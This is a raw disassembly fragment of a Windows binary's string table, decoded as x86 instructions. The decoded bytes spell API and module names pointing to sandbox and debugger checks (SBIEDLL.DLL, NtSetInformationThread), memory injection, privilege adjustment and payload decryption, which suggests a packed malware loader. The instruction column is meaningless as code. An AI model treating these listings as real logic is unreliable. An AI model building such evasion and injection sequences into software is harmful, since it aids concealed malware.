405b78:	63 65 73             	arpl   %esp,0x73(%ebp)
405b7b:	73 00                	jae    0x405b7d
405b7d:	4e                   	dec    %esi
405b7e:	74 41                	je     0x405bc1
405b80:	6c                   	insb   (%dx),%es:(%edi)
405b81:	6c                   	insb   (%dx),%es:(%edi)
405b82:	6f                   	outsl  %ds:(%esi),(%dx)
405b83:	63 61 74             	arpl   %esp,0x74(%ecx)
405b86:	65 56                	gs push %esi
405b88:	69 72 74 75 61 6c 4d 	imul   $0x4d6c6175,0x74(%edx),%esi
405b8f:	65 6d                	gs insl (%dx),%es:(%edi)
405b91:	6f                   	outsl  %ds:(%esi),(%dx)
405b92:	72 79                	jb     0x405c0d
405b94:	00 47 65             	add    %al,0x65(%edi)
405b97:	74 50                	je     0x405be9
405b99:	72 6f                	jb     0x405c0a
405b9b:	63 41 64             	arpl   %eax,0x64(%ecx)
405b9e:	64 72 65             	fs jb  0x405c06
405ba1:	73 73                	jae    0x405c16
405ba3:	00 6b 00             	add    %ch,0x0(%ebx)
405ba6:	65 00 72 00          	add    %dh,%gs:0x0(%edx)
405baa:	6e                   	outsb  %ds:(%esi),(%dx)
405bab:	00 65 00             	add    %ah,0x0(%ebp)
405bae:	6c                   	insb   (%dx),%es:(%edi)
405baf:	00 33                	add    %dh,(%ebx)
405bb1:	00 32                	add    %dh,(%edx)
405bb3:	00 2e                	add    %ch,(%esi)
405bb5:	00 64 00 6c          	add    %ah,0x6c(%eax,%eax,1)
405bb9:	00 6c 00 00          	add    %ch,0x0(%eax,%eax,1)
405bbd:	00 53 00             	add    %dl,0x0(%ebx)
405bc0:	42                   	inc    %edx
405bc1:	00 49 00             	add    %cl,0x0(%ecx)
405bc4:	45                   	inc    %ebp
405bc5:	00 44 00 4c          	add    %al,0x4c(%eax,%eax,1)
405bc9:	00 4c 00 2e          	add    %cl,0x2e(%eax,%eax,1)
405bcd:	00 44 00 4c          	add    %al,0x4c(%eax,%eax,1)
405bd1:	00 4c 00 00          	add    %cl,0x0(%eax,%eax,1)
405bd5:	00 44 00 42          	add    %al,0x42(%eax,%eax,1)
405bd9:	00 47 00             	add    %al,0x0(%edi)
405bdc:	48                   	dec    %eax
405bdd:	00 45 00             	add    %al,0x0(%ebp)
405be0:	4c                   	dec    %esp
405be1:	00 50 00             	add    %dl,0x0(%eax)
405be4:	2e 00 64 00 6c       	add    %ah,%cs:0x6c(%eax,%eax,1)
405be9:	00 6c 00 00          	add    %ch,0x0(%eax,%eax,1)
405bed:	00 6e 00             	add    %ch,0x0(%esi)
405bf0:	74 00                	je     0x405bf2
405bf2:	64 00 6c 00 6c       	add    %ch,%fs:0x6c(%eax,%eax,1)
405bf7:	00 2e                	add    %ch,(%esi)
405bf9:	00 64 00 6c          	add    %ah,0x6c(%eax,%eax,1)
405bfd:	00 6c 00 00          	add    %ch,0x0(%eax,%eax,1)
405c01:	00 6e 00             	add    %ch,0x0(%esi)
405c04:	74 00                	je     0x405c06
405c06:	64 00 6c 00 6c       	add    %ch,%fs:0x6c(%eax,%eax,1)
405c0b:	00 00                	add    %al,(%eax)
405c0d:	00 4e 74             	add    %cl,0x74(%esi)
405c10:	53                   	push   %ebx
405c11:	65 74 49             	gs je  0x405c5d
405c14:	6e                   	outsb  %ds:(%esi),(%dx)
405c15:	66 6f                	outsw  %ds:(%esi),(%dx)
405c17:	72 6d                	jb     0x405c86
405c19:	61                   	popa
405c1a:	74 69                	je     0x405c85
405c1c:	6f                   	outsl  %ds:(%esi),(%dx)
405c1d:	6e                   	outsb  %ds:(%esi),(%dx)
405c1e:	54                   	push   %esp
405c1f:	68 72 65 61 64       	push   $0x64616572
405c24:	00 4e 74             	add    %cl,0x74(%esi)
405c27:	57                   	push   %edi
405c28:	72 69                	jb     0x405c93
405c2a:	74 65                	je     0x405c91
405c2c:	56                   	push   %esi
405c2d:	69 72 74 75 61 6c 4d 	imul   $0x4d6c6175,0x74(%edx),%esi
405c34:	65 6d                	gs insl (%dx),%es:(%edi)
405c36:	6f                   	outsl  %ds:(%esi),(%dx)
405c37:	72 79                	jb     0x405cb2
405c39:	00 52 74             	add    %dl,0x74(%edx)
405c3c:	6c                   	insb   (%dx),%es:(%edi)
405c3d:	41                   	inc    %ecx
405c3e:	64 6a 75             	fs push $0x75
405c41:	73 74                	jae    0x405cb7
405c43:	50                   	push   %eax
405c44:	72 69                	jb     0x405caf
405c46:	76 69                	jbe    0x405cb1
405c48:	6c                   	insb   (%dx),%es:(%edi)
405c49:	65 67 65 00 4e 74    	gs add %cl,%gs:0x74(%bp)
405c4f:	53                   	push   %ebx
405c50:	65 74 49             	gs je  0x405c9c
405c53:	6e                   	outsb  %ds:(%esi),(%dx)
405c54:	66 6f                	outsw  %ds:(%esi),(%dx)
405c56:	72 6d                	jb     0x405cc5
405c58:	61                   	popa
405c59:	74 69                	je     0x405cc4
405c5b:	6f                   	outsl  %ds:(%esi),(%dx)
405c5c:	6e                   	outsb  %ds:(%esi),(%dx)
405c5d:	50                   	push   %eax
405c5e:	72 6f                	jb     0x405ccf
405c60:	63 65 73             	arpl   %esp,0x73(%ebp)
405c63:	73 00                	jae    0x405c65
405c65:	52                   	push   %edx
405c66:	74 6c                	je     0x405cd4
405c68:	44                   	inc    %esp
405c69:	65 63 6f 6d          	arpl   %ebp,%gs:0x6d(%edi)
405c6d:	70 72                	jo     0x405ce1
405c6f:	65 73 73             	gs jae 0x405ce5
405c72:	42                   	inc    %edx
405c73:	75 66                	jne    0x405cdb
405c75:	66 65 72 00          	data16 gs jb 0x405c79
405c79:	4e                   	dec    %esi
405c7a:	74 51                	je     0x405ccd
405c7c:	75 65                	jne    0x405ce3
405c7e:	72 79                	jb     0x405cf9
405c80:	49                   	dec    %ecx
405c81:	6e                   	outsb  %ds:(%esi),(%dx)
405c82:	66 6f                	outsw  %ds:(%esi),(%dx)
405c84:	72 6d                	jb     0x405cf3
405c86:	61                   	popa
405c87:	74 69                	je     0x405cf2
405c89:	6f                   	outsl  %ds:(%esi),(%dx)
405c8a:	6e                   	outsb  %ds:(%esi),(%dx)
405c8b:	50                   	push   %eax
405c8c:	72 6f                	jb     0x405cfd
405c8e:	63 65 73             	arpl   %esp,0x73(%ebp)
405c91:	73 00                	jae    0x405c93
405c93:	00 6b 00             	add    %ch,0x0(%ebx)
405c96:	65 00 72 00          	add    %dh,%gs:0x0(%edx)
405c9a:	6e                   	outsb  %ds:(%esi),(%dx)
405c9b:	00 65 00             	add    %ah,0x0(%ebp)
405c9e:	6c                   	insb   (%dx),%es:(%edi)
405c9f:	00 33                	add    %dh,(%ebx)
405ca1:	00 32                	add    %dh,(%edx)
405ca3:	00 00                	add    %al,(%eax)
405ca5:	00 45 78             	add    %al,0x78(%ebp)
405ca8:	69 74 50 72 6f 63 65 	imul   $0x7365636f,0x72(%eax,%edx,2),%esi
405caf:	73
405cb0:	73 00                	jae    0x405cb2
405cb2:	56                   	push   %esi
405cb3:	69 72 74 75 61 6c 50 	imul   $0x506c6175,0x74(%edx),%esi
405cba:	72 6f                	jb     0x405d2b
405cbc:	74 65                	je     0x405d23
405cbe:	63 74 00 56          	arpl   %esi,0x56(%eax,%eax,1)
405cc2:	69 72 74 75 61 6c 41 	imul   $0x416c6175,0x74(%edx),%esi
405cc9:	6c                   	insb   (%dx),%es:(%edi)
405cca:	6c                   	insb   (%dx),%es:(%edi)
405ccb:	6f                   	outsl  %ds:(%esi),(%dx)
405ccc:	63 00                	arpl   %eax,(%eax)
405cce:	53                   	push   %ebx
405ccf:	6c                   	insb   (%dx),%es:(%edi)
405cd0:	65 65 70 00          	gs gs jo 0x405cd4
405cd4:	43                   	inc    %ebx
405cd5:	72 65                	jb     0x405d3c
405cd7:	61                   	popa
405cd8:	74 65                	je     0x405d3f
405cda:	46                   	inc    %esi
405cdb:	69 6c 65 57 00 57 72 	imul   $0x69725700,0x57(%ebp,%eiz,2),%ebp
405ce2:	69
405ce3:	74 65                	je     0x405d4a
405ce5:	46                   	inc    %esi
405ce6:	69 6c 65 00 43 6c 6f 	imul   $0x736f6c43,0x0(%ebp,%eiz,2),%ebp
405ced:	73
405cee:	65 48                	gs dec %eax
405cf0:	61                   	popa
405cf1:	6e                   	outsb  %ds:(%esi),(%dx)
405cf2:	64 6c                	fs insb (%dx),%es:(%edi)
405cf4:	65 00 47 65          	add    %al,%gs:0x65(%edi)
405cf8:	74 4d                	je     0x405d47
405cfa:	6f                   	outsl  %ds:(%esi),(%dx)
405cfb:	64 75 6c             	fs jne 0x405d6a
405cfe:	65 48                	gs dec %eax
405d00:	61                   	popa
405d01:	6e                   	outsb  %ds:(%esi),(%dx)
405d02:	64 6c                	fs insb (%dx),%es:(%edi)
405d04:	65 57                	gs push %edi
405d06:	00 47 65             	add    %al,0x65(%edi)
405d09:	74 45                	je     0x405d50
405d0b:	6e                   	outsb  %ds:(%esi),(%dx)
405d0c:	76 69                	jbe    0x405d77
405d0e:	72 6f                	jb     0x405d7f
405d10:	6e                   	outsb  %ds:(%esi),(%dx)
405d11:	6d                   	insl   (%dx),%es:(%edi)
405d12:	65 6e                	outsb  %gs:(%esi),(%dx)
405d14:	74 56                	je     0x405d6c
405d16:	61                   	popa
405d17:	72 69                	jb     0x405d82
405d19:	61                   	popa
405d1a:	62 6c 65 57          	bound  %ebp,0x57(%ebp,%eiz,2)
405d1e:	00 47 65             	add    %al,0x65(%edi)
405d21:	74 54                	je     0x405d77
405d23:	69 63 6b 43 6f 75 6e 	imul   $0x6e756f43,0x6b(%ebx),%esp
405d2a:	74 00                	je     0x405d2c
405d2c:	00 61 00             	add    %ah,0x0(%ecx)
405d2f:	64 00 76 00          	add    %dh,%fs:0x0(%esi)
405d33:	61                   	popa
405d34:	00 70 00             	add    %dh,0x0(%eax)
405d37:	69 00 33 00 32 00    	imul   $0x320033,(%eax),%eax
405d3d:	00 00                	add    %al,(%eax)
405d3f:	52                   	push   %edx
405d40:	65 67 4f             	gs addr16 dec %edi
405d43:	70 65                	jo     0x405daa
405d45:	6e                   	outsb  %ds:(%esi),(%dx)
405d46:	4b                   	dec    %ebx
405d47:	65 79 45             	gs jns 0x405d8f
405d4a:	78 57                	js     0x405da3
405d4c:	00 52 65             	add    %dl,0x65(%edx)
405d4f:	67 51                	addr16 push %ecx
405d51:	75 65                	jne    0x405db8
405d53:	72 79                	jb     0x405dce
405d55:	56                   	push   %esi
405d56:	61                   	popa
405d57:	6c                   	insb   (%dx),%es:(%edi)
405d58:	75 65                	jne    0x405dbf
405d5a:	45                   	inc    %ebp
405d5b:	78 57                	js     0x405db4
405d5d:	00 52 65             	add    %dl,0x65(%edx)
405d60:	67 43                	addr16 inc %ebx
405d62:	6c                   	insb   (%dx),%es:(%edi)
405d63:	6f                   	outsl  %ds:(%esi),(%dx)
405d64:	73 65                	jae    0x405dcb
405d66:	4b                   	dec    %ebx
405d67:	65 79 00             	gs jns 0x405d6a
405d6a:	43                   	inc    %ebx
405d6b:	72 79                	jb     0x405de6
405d6d:	70 74                	jo     0x405de3
405d6f:	41                   	inc    %ecx
405d70:	63 71 75             	arpl   %esi,0x75(%ecx)
405d73:	69 72 65 43 6f 6e 74 	imul   $0x746e6f43,0x65(%edx),%esi
405d7a:	65 78 74             	gs js  0x405df1
405d7d:	57                   	push   %edi
405d7e:	00 43 72             	add    %al,0x72(%ebx)
405d81:	79 70                	jns    0x405df3
405d83:	74 43                	je     0x405dc8
405d85:	72 65                	jb     0x405dec
405d87:	61                   	popa
405d88:	74 65                	je     0x405def
405d8a:	48                   	dec    %eax
405d8b:	61                   	popa
405d8c:	73 68                	jae    0x405df6
405d8e:	00 43 72             	add    %al,0x72(%ebx)
405d91:	79 70                	jns    0x405e03
405d93:	74 48                	je     0x405ddd
405d95:	61                   	popa
405d96:	73 68                	jae    0x405e00
405d98:	44                   	inc    %esp
405d99:	61                   	popa
405d9a:	74 61                	je     0x405dfd
405d9c:	00 43 72             	add    %al,0x72(%ebx)
405d9f:	79 70                	jns    0x405e11
405da1:	74 44                	je     0x405de7
405da3:	65 72 69             	gs jb  0x405e0f
405da6:	76 65                	jbe    0x405e0d
405da8:	4b                   	dec    %ebx
405da9:	65 79 00             	gs jns 0x405dac
405dac:	43                   	inc    %ebx
405dad:	72 79                	jb     0x405e28
405daf:	70 74                	jo     0x405e25
405db1:	44                   	inc    %esp
405db2:	65 63 72 79          	arpl   %esi,%gs:0x79(%edx)
405db6:	70 74                	jo     0x405e2c
405db8:	00 43 72             	add    %al,0x72(%ebx)
405dbb:	79 70                	jns    0x405e2d
405dbd:	74 45                	je     0x405e04
405dbf:	6e                   	outsb  %ds:(%esi),(%dx)
405dc0:	63 72 79             	arpl   %esi,0x79(%edx)
405dc3:	70 74                	jo     0x405e39
405dc5:	00 43 72             	add    %al,0x72(%ebx)
405dc8:	79 70                	jns    0x405e3a
405dca:	74 44                	je     0x405e10
405dcc:	65 73 74             	gs jae 0x405e43
405dcf:	72 6f                	jb     0x405e40
405dd1:	79 4b                	jns    0x405e1e
405dd3:	65 79 00             	gs jns 0x405dd6
405dd6:	43                   	inc    %ebx
405dd7:	72 79                	jb     0x405e52
405dd9:	70 74                	jo     0x405e4f
405ddb:	44                   	inc    %esp
405ddc:	65 73 74             	gs jae 0x405e53
405ddf:	72 6f                	jb     0x405e50
405de1:	79 48                	jns    0x405e2b
405de3:	61                   	popa
405de4:	73 68                	jae    0x405e4e
405de6:	00 43 72             	add    %al,0x72(%ebx)
405de9:	79 70                	jns    0x405e5b
405deb:	74 52                	je     0x405e3f
405ded:	65 6c                	gs insb (%dx),%es:(%edi)
405def:	65 61                	gs popa
405df1:	73 65                	jae    0x405e58
405df3:	43                   	inc    %ebx
405df4:	6f                   	outsl  %ds:(%esi),(%dx)
405df5:	6e                   	outsb  %ds:(%esi),(%dx)
405df6:	74 65                	je     0x405e5d
405df8:	78 74                	js     0x405e6e
405dfa:	00 00                	add    %al,(%eax)
405dfc:	75 00                	jne    0x405dfe
405dfe:	73 00                	jae    0x405e00
405e00:	65 00 72 00          	add    %dh,%gs:0x0(%edx)
405e04:	33 00                	xor    (%eax),%eax
405e06:	32 00                	xor    (%eax),%al
405e08:	00 00                	add    %al,(%eax)
405e0a:	43                   	inc    %ebx
405e0b:	61                   	popa
405e0c:	6c                   	insb   (%dx),%es:(%edi)
405e0d:	6c                   	insb   (%dx),%es:(%edi)
405e0e:	57                   	push   %edi
405e0f:	69 6e 64 6f 77 50 72 	imul   $0x7250776f,0x64(%esi),%ebp
405e16:	6f                   	outsl  %ds:(%esi),(%dx)
405e17:	63 57 00             	arpl   %edx,0x0(%edi)
405e1a:	00 6f 00             	add    %ch,0x0(%edi)
405e1d:	6c                   	insb   (%dx),%es:(%edi)
405e1e:	00 65 00             	add    %ah,0x0(%ebp)
405e21:	33 00                	xor    (%eax),%eax
405e23:	32 00                	xor    (%eax),%al
405e25:	00 00                	add    %al,(%eax)
405e27:	43                   	inc    %ebx
405e28:	6f                   	outsl  %ds:(%esi),(%dx)
405e29:	54                   	push   %esp
405e2a:	61                   	popa
405e2b:	73 6b                	jae    0x405e98
405e2d:	4d                   	dec    %ebp
405e2e:	65 6d                	gs insl (%dx),%es:(%edi)
405e30:	41                   	inc    %ecx
405e31:	6c                   	insb   (%dx),%es:(%edi)
405e32:	6c                   	insb   (%dx),%es:(%edi)
405e33:	6f                   	outsl  %ds:(%esi),(%dx)
405e34:	63 00                	arpl   %eax,(%eax)
405e36:	00 53 00             	add    %dl,0x0(%ebx)
405e39:	68 00 65 00 6c       	push   $0x6c006500
405e3e:	00 6c 00 33          	add    %ch,0x33(%eax,%eax,1)
405e42:	00 32                	add    %dh,(%edx)
405e44:	00 00                	add    %al,(%eax)
405e46:	00 53 68             	add    %dl,0x68(%ebx)
405e49:	65 6c                	gs insb (%dx),%es:(%edi)
405e4b:	6c                   	insb   (%dx),%es:(%edi)
405e4c:	45                   	inc    %ebp
405e4d:	78 65                	js     0x405eb4
405e4f:	63 75 74             	arpl   %esi,0x74(%ebp)
405e52:	65 57                	gs push %edi
405e54:	00 00                	add    %al,(%eax)
405e56:	4f                   	dec    %edi
405e57:	00 6c 00 65          	add    %ch,0x65(%eax,%eax,1)
405e5b:	00 41 00             	add    %al,0x0(%ecx)
405e5e:	75 00                	jne    0x405e60
405e60:	74 00                	je     0x405e62
405e62:	33 00                	xor    (%eax),%eax
405e64:	32 00                	xor    (%eax),%al
405e66:	00 00                	add    %al,(%eax)
405e68:	53                   	push   %ebx
405e69:	79 73                	jns    0x405ede
405e6b:	41                   	inc    %ecx
405e6c:	6c                   	insb   (%dx),%es:(%edi)
405e6d:	6c                   	insb   (%dx),%es:(%edi)